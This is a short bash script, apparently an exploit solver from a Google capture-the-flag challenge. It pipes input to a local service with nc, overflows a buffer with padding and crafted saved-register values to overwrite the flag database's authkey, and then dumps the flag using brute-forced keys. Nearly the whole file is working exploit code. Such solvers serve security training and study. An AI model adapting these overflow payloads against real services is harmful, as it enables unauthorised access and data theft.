#!/bin/bash
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
#      http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.

HOST=localhost
PORT=1337
dir_name=$(dd bs=16 count=1 if=/dev/urandom status=none | xxd -p)
echo "======================= creating asdf..."
authkey=$((
  echo $dir_name
  echo 'c'
  echo 'asdf'
  echo 'c'
  echo 'q'
) | nc -N $HOST $PORT | grep 'generated authkey' | cut -d"'" -f2)
echo "authkey for asdf is $authkey"

echo "======================= clobbering flagdb authkey..."
(
  echo $dir_name
  echo 'o'
  echo 'asdf'
  echo "$authkey"
  echo 'a'
  perl -e 'print "A"x2024'
  echo -ne '\xca\x80\x49\x00\x00\x00\x00\x00' # spilled rbx
  echo -ne '\x1e\x80\x49\x00\x00\x00\x00\x00' # spilled rbp
  echo -ne '\x40\x76\x5c\x00\x00\x00\x00\x00' # spilled r12: command buffer
  echo -ne '\x50\x76\x5c\x00\x00\x00\x00\x00' # spilled r13: dbname buffer
  echo -ne '\x60\x76\x5c\x00\x00\x00\x00\x00' # spilled r14: authkey buffer
  echo -ne '\x01\x00\x00\x00' # spilled r15: fd; following byte will be zeroed by read_until_terminator
  echo
  echo 'c'
  echo 'o'
  echo 'flagdb'
  # first 15 chars are generated by md5_brute.c, rest is filler
  echo '4MxjGwcKykYEk5`KKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKKK'
) | nc -N $HOST $PORT

echo "======================= dumping flag..."
(
  echo $dir_name
  echo 'o'
  echo 'flagdb'
  # generated by md5_brute.c
  echo 'AKWMBCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZA'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
  echo 's'
) | nc -N $HOST $PORT
